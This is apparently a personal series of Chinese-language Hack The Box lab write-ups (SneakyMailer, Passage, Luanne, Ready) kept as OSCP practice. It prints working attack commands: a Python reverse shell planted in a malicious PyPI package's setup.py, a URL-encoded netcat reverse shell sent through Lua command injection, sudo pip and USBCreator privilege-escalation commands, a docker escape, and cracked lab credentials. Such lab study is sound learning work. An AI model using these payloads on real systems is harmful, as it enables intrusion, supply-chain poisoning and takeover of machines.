也就是说pypi就是上传和维护python包的但是为什么我使用的时候完全没有他说的这些选项呢如果不是框架方面的漏洞那么如果能上传一些恶意包然后我们当前也不能加环境变量当有用户来引用这个包的时候就会导致RCE

目前完全没有其他想法了只能理解为这里要配合其他漏洞

在搜索时发现low这个家用户里存在venv虚拟环境加上我们可以pip安装包这里有了一个想法就是pspy32先看看是否有定时任务而且是python的定时任务如果存在就安装恶意包然后就能提权

最终我构造好了一个包并且成功上传了上去期间参考了很多博客关键的博客是下面这两个

https://blog.csdn.net/zjshui/article/details/107973601 如何上传私有仓库

https://monsoir.github.io/Notes/Python/upload-pypi.html 如何构造python包

这里放一下我的文件吧

1
2
3
4
5
6
7


.
├── README.md
├── jsonizer
│ ├── __init__.py
│ ├── jsonize.py
├── LICENSE.txt
└── setup.py

目录结构就是上面那个是我抄github上一个项目的给自己的项目取一个名称就行

我取的名称为Reverse-Shell-1.1.1

所以这里就创建一个Reverse-Shell-1.1.1目录就行

创建完里面肯定是啥都没有的先进这个目录按照要求就在Reverse-Shell-1.1.1目录里创建README.md LICENSE.txt这两个空文件

接着创建jsonizer目录进入jsonizer目录创建两个文件__init__.py和jsonize.py init.py为空白就行 jsonize.py也可以为空白但是我还是随便写了个print

1
2
3
4
5
6


.
├── README.md
├── jsonizer
│ ├── __init__.py
│ ├── jsonize.py
├── LICENSE.txt

目前结构如上就差一个setup.py文件了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from setuptools import setup, find_packages

setup(
 name='Reverse-Shell',
 version='1.1.1',
 keywords=['Safari', 'Bookmarks', 'JSON', 'Monsoir'],
 description='transform Safari bookmarks export to JSON file',
 license='MIT License',

 url='https://github.com/Monsoir/safari-bookmarks-jsonizer',
 author='Monsoir',
 author_email='monwingyeung@gmail.com',

 packages=find_packages(),
 include_package_data=False,
 platforms=["any"],
 install_requires=['beautifulsoup4'],
 python_requires='>3.0',
 entry_points={
 'console_scripts': [
 'jsonize = jsonizer.jsonize:main',
 ]
 }
)

这样算完了其实jsonizer目录貌似都不需要就算需要的话最多也只要个构造函数的py空文件至少目前上面的这个包能被识别就先不管了执行下面的代码

1

python setup.py sdist

他会在当前目录下生成一个dist新目录里面就有个打包好的 tar.gz文件接着用下面的命令就能上传上去了

最后一个参数就是代表的吧dist目录下面的文件传上去的意思

python -m twine upload –repository-url http://pypi.sneakycorp.htb:8080/ dist/*

但是上传上去之后很快就消失了

还记得之前我上传的pspy32吗他一直在另一个端口运行

找到了关键点这个low用户会执行tar解压然后直接python去运行目录里setup.py安装后面再卸载主要是为了去测试这个包怪不得这个用户家目录存在很多包还有venv虚拟环境

根据理解我们将setup.py 改成反弹shell的代码其实就能弹回来了

这里思路已经非常清晰了将dist目录里的 tar包解开

修改 setup.py 在开头加上python弹shell的代码

1
2
3
4
5
6
7


import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.19", 6789))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

然后重新打包上传就行

拿到了shell 开始接着提权

sudo -l 给了个命令直接去搜就行

1
2
3
4
5
6


Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

根据下面的方法直接提权到了root

结束！

我只能说这是我做过到目前为止最难的靶场没有之一仿佛经历了一场考试这个靶场加上我休息我做了20个小时左右头脑发昏期间看了两次wp 第一个在于我不清楚给其他邮箱发链接能够直接钓鱼拿到信息这是我万万没想到的但实际上它提示了很多很多第二个就是dev这个子域名确实是自己的问题后续在打每个靶场之前会爆破子域名

学到了很多东西期间一直在进行google 很多事情其实多问问chatgpt更有思路但是oscp不允许去问所以我搜了非常多的博客

这个靶场里面有imap服务这是我没接触过的安装了很多软件都不行一直卡死最后终于找到了能用的软件其次就是pypi 第一次接触这个难免会学很久大部分时间也用于学习了pypi 在这个靶场里面收益良多已经能感觉到越来越吃力了

hackthebox linux的2022年作为oscp的靶场总共有50个目前已经完成了27个结束了之后就进行windows靶场然后2022年的做完就去做最新的靶场接着就是oscplabs了

28.Passage

信息收集：

22端口没东西但是80端口只要进行暴力破解马上就会被封

http://10.10.10.206/index.php?id=11

这篇文章介绍了

过度访问会被拦截两分钟

像目录爆破什么都无法使用了目前有两个思路

一是对这个网站进行缓慢爆破但是得用cewl生成的字典来跑

二是对http://10.10.10.206/index.php?id=11 测试sql注入

cewl http://10.10.10.206/index.php -w dict.txt

ffuf -w ./dict.txt -u http://10.10.10.206/FUZZ -t 1

防止被ban 线程设置为1

在发现要被ban之前用目录爆破发现了 new.php

现在把主页的cewl之后测试出来有一个CuteNews 他还有11个博客得挨个爬取爆破目录

域名

这里再开一个页面用来爆破子域名

同时上面这个页面让我们知道了版本 CuteNews 2.1.2

找了最后一个exp

简单看了一下运行逻辑

注册完然后打payload就行而我们需要做的只是运行然后输入url即可非常简单

我从来没想到过这么简单

谈了个shell回来

开始提权

这些配置文件没有任何东西尝试去google搜一下数据库配置文件在哪

https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql

实际上我找到了这两个文件但是他们啥都没有

linenum发现了很多东西

可以看到是root启动的

不管怎么样先把这些跑出来吧

1
2
3
4


/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd
username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.			#foo
/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd
username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/			#password

只跑出来了两个

根据介绍其他的几个hash貌似不是用来跑的而是和网站特定元素结合之后生成新的hash来当作凭证

这里先放弃了我还是把目标放回网站因为在我搜的时候一直提示

它以平面文件作为存储我搜的所有的博客都是这个说法他没有数据库全是以txt等文件来存储的但很明显我们利用那个exp的时候他是创建了用户的但是我们并没有在刚刚提到的两个文件里找到用户很不现实

搜txt文件的时候发现了两个users.txt

可惜的是这两个文件也没啥东西后续翻目录发现了一个重要信息

/var/www/html/CuteNews/cdata/users/lines

写了个脚本跑出来了结果

b’a:1:{s:5:“email”;a:1:{s:16:“paul@passage.htb”;s:10:“paul-coles”;}}’ b’a:1:{s:2:“id”;a:1:{i:1598829833;s:6:“egre55”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“egre55@test.com”;s:6:“egre55”;}}' b’a:1:{s:4:“name”;a:1:{s:5:“admin”;a:8:{s:2:“id”;s:10:“1592483047”;s:4:“name”;s:5:“admin”;s:3:“acl”;s:1:“1”;s:5:“email”;s:17:“nadav@passage.htb”;s:4:“pass”;s:64:“7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1”;s:3:“lts”;s:10:“1592487988”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483281;s:9:“sid-meier”;}}' b’a:1:{s:5:“email”;a:1:{s:17:“nadav@passage.htb”;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“kim@example.com”;s:9:“kim-swift”;}}' b’a:1:{s:2:“id”;a:1:{i:1592483236;s:10:“paul-coles”;}}' b’a:1:{s:4:“name”;a:1:{s:9:“sid-meier”;a:9:{s:2:“id”;s:10:“1592483281”;s:4:“name”;s:9:“sid-meier”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“sid@example.com”;s:4:“nick”;s:9:“Sid Meier”;s:4:“pass”;s:64:“4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88”;s:3:“lts”;s:10:“1592485645”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483047;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“sid@example.com”;s:9:“sid-meier”;}}' b’a:1:{s:4:“name”;a:1:{s:10:“paul-coles”;a:9:{s:2:“id”;s:10:“1592483236”;s:4:“name”;s:10:“paul-coles”;s:3:“acl”;s:1:“2”;s:5:“email”;s:16:“paul@passage.htb”;s:4:“nick”;s:10:“Paul Coles”;s:4:“pass”;s:64:“e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd”;s:3:“lts”;s:10:“1592485556”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:4:“name”;a:1:{s:9:“kim-swift”;a:9:{s:2:“id”;s:10:“1592483309”;s:4:“name”;s:9:“kim-swift”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“kim@example.com”;s:4:“nick”;s:9:“Kim Swift”;s:4:“pass”;s:64:“f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca”;s:3:“lts”;s:10:“1592487096”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“3”;}}}' b’a:1:{s:4:“name”;a:1:{s:6:“egre55”;a:11:{s:2:“id”;s:10:“1598829833”;s:4:“name”;s:6:“egre55”;s:3:“acl”;s:1:“4”;s:5:“email”;s:15:“egre55@test.com”;s:4:“nick”;s:6:“egre55”;s:4:“pass”;s:64:“4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc”;s:4:“more”;s:60:“YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:“lts”;s:10:“1598834079”;s:3:“ban”;s:1:“0”;s:6:“avatar”;s:26:“avatar_egre55_spwvgujw.php”;s:6:“e-hide”;s:0:”";}}}' b’a:1:{s:2:“id”;a:1:{i:1592483309;s:9:“kim-swift”;}}'

整理一下吧

nadav@passage.htb 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1

sid@example.com 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88

paul@passage.htb e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd

kim@example.com f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca

egre55@test.com 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

paul@passage.htb的密码为atlanta1

egre55@test.com的密码为egre55

其他得rockyou没跑出来在线网站也没有

成功提权到paul

.ssh目录下有paul的私钥提取出来准备连ssh

但是在看公钥的时候发现了末尾用户不是paul？

应该用的是同一对公私钥

开始接着提权

find / -group dip -not -path “/proc/*” 2>/dev/null

没找到太多用户组的东西

值得注意的是 nadav被赋予了sudo组也就是他可以执行sudo 他跟paul不一样

而执行sudo -l 是需要密码的所以目前的思路就是去找密码全都翻完了完全没有发现密码

开始找suid 发现了一个没见过的东西

/bin/ntfs-3g 找提权看看

报错看看是咋回事

主要是最后两个地方报错后续接着找漏洞找到了一个写的很好的博客

https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&u_asig=0a472f9117302920303012094e00b0

它提示说我们应该用

https://www.exploit-db.com/exploits/41356

https://project-zero.issues.chromium.org/issues/42450079

这两个当中其中一个的exp 这是正确的我两个都用了但结果都是

这一条路显然不行

后续没有任何思路了还是翻一下家目录把一开始只顾着翻密码没注意到这个

这个不算是常规的配置文件开始搜相关漏洞

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

这个网站最下面介绍了使用方法可能是我的搜索方法有问题我只找到这一篇介绍了使用方法的在最下面

有命令之后 google命令 “gdbus call –system –dest com.ubuntu.USBCreator”

接着找到了这个网站

https://kashz.gitbook.io/kashz-jewels/services/usbcreator

这个网站的命令很详细拼接命令

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/root/root.txt’ ‘/tmp/1111.txt’ true

拿到了flag 但还是提权把既然就能写任意文件

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/home/nadav/.ssh/authorized_keys’ ‘/root/.ssh/authorized_keys’ true

结束

这个靶场与以往不是很相同后续的靶场我能感觉到提权的方式都很不一样越来越多样化了只能说多打把

29.Luanne

信息收集:

http://10.10.10.218/ 要登陆先对他进行爆破把

访问404 接着爆破把

访问了一下发现是一个天气接口而且后端是用lua写的

参考了几篇文章这个后端是lua写的这里可能存在命令注入

https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/

https://gtfobins.github.io/gtfobins/lua/

而这里我们操作的时候发现并不能直接执行命令他只会把你输入的传出来当输入’单引号的时候他会报错输入其他的大部分情况都不会报错

查了下这个语言的文档可能就是这样写的用’号闭合然后在使用 ‘; 就能执行其他命令因为这里输出的也只是字符串当把前面闭合之后就能在后面拼接命令了

但是实际上并不行在尝试其他的应该是闭合方式有问题而且这种命令注入还需要把后面注释了不要让后面的影响前面我们的代码

最后找了很久成功找到了闭合方法首先’肯定是没问题的不然他不会报错其次就是光一个’不行我后续尝试了很多在 ‘) 尝试成功了

http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)–+os.execute(%22id%22)–+)

后续尝试了非常多的次数用来反弹shell 一直不行 nc可以但是建立不了shell连接

我怀疑可能是shell不对尝试了下输出出来当前用户是/bin/sh的shell 但就是弹不出来就先不弹了先看看其他文件把

当前目录下有 .htpasswd

解出来为webapi_user:iamthebest

22端口还是不行

9001也不行

并不存在/etc/passwd 说明他就是一个网站的账户突然想起来80端口还存在一个登陆页面

结果跟刚刚是一个东西没啥区别

入口点已经没多少了一个弹不回来shell的url 和一个9001不知道是啥的网站

lua反弹也缺少库

‘) os.execute(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f”) –+

http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b

最后才成功这个太扯淡了 sh没有全局变量得手动索引其次好像是因为bp的url编码会多一个回车？还是怎么回事

一直不行搞得跟玄学一样

插一嘴刚开始看到评分的时候我就有种不好的预感

开始提权

拿不到tty

做了很多提权的动作但貌似有很多东西都没有搜了一下NetBSD 9.0

命令和常规的linux命令貌似有点不同

本地3000和3001端口正在监听

这个鉴权好办上面有个账号和密码在weather接口是能登陆的这个鉴权方式见过太多了典型的就是tomcat

curl http://127.0.0.1:3000 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

curl http://127.0.0.1:3001 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

3000和3001貌似是同一个东西

此时有个想法这两个东西是一样的但是开启的用户会不会不一样 bsd命令确实没了解过只能尽可能google去寻找 “bsd如何看端口是谁开启的”

都有还是试一下吧反正exp都有

curl “http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

3000端口没问题能弹shell 3001倒是不行

试了很多方法就是无法找到pid和port对应的关系

netstat -an

sockstat -4l

这两个都不行但是目前也没其他方法了

到这一步真的做不动了唯一的办法就是搭隧道来测试服务但是看起来貌似不会那样

实在是没办法了看了眼wp

它提示说 r.michaels 目录可以从网站访问到的？貌似是个备份服务

这个完全想不到可能是我的操作有问题完全找不到3001是否对应r.michaels用户

而他们是通过目录爆破获取的如果我爆破的话我的字典肯定不会有这些我也并不会去找home passwd 这些特征的文件来做字典有点不科学可能还是命令有问题等结束了问问gpt 看看能否去找端口进程对应用户文件

curl “http://127.0.0.1:3001/~r.michaels/id_rsa” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

找到了

非常奇怪按照他的意思 ~穿越到了r.michaels目录只需要当前用户权限为r.michaels或者users组又或者root权限我并不知道python开的服务还有这种穿越方法总之只是一个很奇怪的尝试

成功了

有一个备份文件传到了kali上 enc文件是被加密了的所以目前需要找到加解密的方式同时并看看其他目录

这里又卡住了完全解不开看情况得看加密类型还得找密钥完全找不到密钥在哪还是去看了wp

一个命令就能解决

netpgp –decrypt devel_backup-2020-09-16.tar.gz.enc –output=/tmp/raj.tar.gz

tar -xvf /tmp/raj.tar.gz

里面还有个 devel-2020-09-16/www/.htpasswd

解开如下

littlebear

su无法切换用户还是卡住了

结束了

2.5分是有原因我不清楚这些是netbsd的特性还是什么总之用的非常难受跟我之前了解的命令完全不一样 getshell的方法也千奇百怪算是一个扩展面吧但是做的非常难受这是最难受的一个靶场了

最后找了下之前的疑问点还是有方法的

ps aux | grep httpd

当时没注意ps 因为这个linux上啥命令都没有啥都不一样

能看得出来3001就是r.michaels启动的

30.Time

评分有点低暂时空着

31.Ready

信息收集：

http://10.10.10.220:5080/dude/ready-channel

注册进来之后只有一个项目

看了很久貌似有点偏离了这个项目虽然在但是我使用

grep -r ‘password’ ./

grep -r ‘username’ ./

并没有找到信息泄露 ssh的密钥也没有

google找到了查看版本的方法

还是有漏洞的

但是这两个貌似利用失败了我去github上找了一个脚本

https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py

这个没问题利用成功

开始提权

根目录有个root_pass 但是没什么用

YG65407Bjqvv9A0a8Tm_7w

linenum告诉我们在docker容器中试了其他方法也告诉我们在docker容器中这里我觉得应该就是走docker逃逸了

试了很多方法但都告诉我当前不是root权限无法操作所以第一步还是提权root

翻到了docker的配置文件同时也有gitlab的配置文件

挨个执行 cat gitlab.rb | grep passw

最后在gitlab.rb找到了一个密码

切换root成功

wW59U!ZKMbG9+*#h

特权模式 docker逃逸可以直接解决

我在gitlab权限的时候测试过但是因为权限不够不让挂载而失败目前是可以使用的

运行 fdisk -l 得到结果如下

看了一下 filesystem貌似就是物理机的硬盘将他挂载到/tmp下的test目录就行

mkdir /tmp/test && mount /dev/sda2 /tmp/test

主要是参考这篇博客

https://xz.aliyun.com/t/12495

挂在下来直接访问就行拿到了flag 但是还是拿下root权限吧

但是发现无法往计划任务目录写入数据提示内存不够 /tmp/test/var/spool/cron/root

100%了删可以但是写不行接着google看看吧

删了一堆东西还是不行提示满了

在 /tmp/test/var/spool/cron/crontabs 下面自带一个root的定时任务这个里面是可以写入的在后面追加或者覆盖但是我追加和覆盖之后还是弹不回来也可以去root文件夹下写个公钥也可以但是重启靶场之后 gitlab坏掉了短时间内也不让重启第二次可能就是因为我把/tmp/test/var/spool/cron/crontabs/root 这个定时任务给他覆盖了里面原来是gitlab的定时任务现在定时任务没了重启靶场还是坏的这个重启机制还是有点离谱的

过了段时间又重启了下好了

看到了私钥用私钥去连

结束这个靶场虽然难度为中但实际上我感觉并不是很难相比之前第29个靶场luanne 它定义为简单但实际上非常难

而且评分也不错作为扩展的部分非常好

Linux on MentalityXt

Hack The Box：Linux 靶机笔记

1.sense

2.Nibbles

3.solidstate

4.Node

5.valentine

6.Poison

7.TartarSauce

8.Irked

9.FriendZone

10.SwagShop

11.Networked

12.Jarvis

13.Mirai

14.Popcorn

15.Haircut

16.Blocky

17.Frolic

18.Postman

19.Mango

20.Traverxec

21.OpenAdmin

22.Magic

23.Admirer

24.Blunder

25.Tabby

26.Doctor

27.SneakyMailer

28.Passage

29.Luanne

30.Time

31.Ready